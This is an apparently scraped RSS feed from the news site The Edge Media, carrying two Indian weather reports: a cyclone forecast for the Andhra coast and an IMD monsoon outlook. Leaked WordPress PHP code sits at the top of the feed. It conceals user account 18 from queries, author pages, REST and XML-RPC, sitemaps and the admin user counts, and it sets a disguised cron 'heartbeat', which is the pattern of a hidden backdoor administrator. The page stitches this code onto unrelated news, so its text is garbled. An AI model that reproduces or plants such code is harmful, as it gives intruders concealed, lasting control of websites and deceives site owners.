add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Cyclone Expected to Hit Andhra Coast Near Kakinada on October 28 Night appeared first on The Edge Media.
]]>
On Saturday (October 25), the IMD reported that the depression over the southeast Bay of Bengal had moved westward and is likely to intensify first into a deep depression by Sunday (October 26) and later into a cyclonic storm by Monday morning (October 27), over the southwest and adjoining west-central Bay of Bengal.
To assess preparedness, Cabinet Secretary T. V. Somanathan convened a meeting of the National Crisis Management Committee (NCMC). Senior officials, including the Chief Secretaries of Tamil Nadu, Andhra Pradesh, and Puducherry, and the Additional Chief Secretary of Odisha, briefed the committee on precautionary actions and evacuation measures being taken in coastal regions expected to be affected by the cyclone.
Authorities have urged residents in low-lying and coastal areas to remain alert and follow official advisories as the system continues to intensify.
The post Cyclone Expected to Hit Andhra Coast Near Kakinada on October 28 Night appeared first on The Edge Media.
]]>The post IMD issues weather forecast report on Southwest moonsoon. appeared first on The Edge Media.
]]>On Sunday, the India Meteorological Department (IMD) issued a forecast based on large-scale features that showed no favourable condition.
The numerical models’ wind patterns do not indicate any favourable conditions for sustained rainfall over the region during the forecast period, according to the IMD.
The weather department said fairly widespread to widespread rainfall with isolated heavy to very heavy falls is very likely over east Uttar Pradesh and Bihar during the next 24 hours, with significant reduction in rainfall activity thereafter, due to the influence of a low-pressure area over southeast Uttar Pradesh and its surroundings.
The weather department also predicted widespread rainfall with isolated heavy falls over Uttarakhand during next 24 hours and significant reduction in rain fall activity thereafter.
IMD further said moderate to severe thunderstorms accompanied by frequent cloud to ground lightning is very likely over east Uttar Pradesh and Bihar during next 24 hours.
The post IMD issues weather forecast report on Southwest moonsoon. appeared first on The Edge Media.
]]>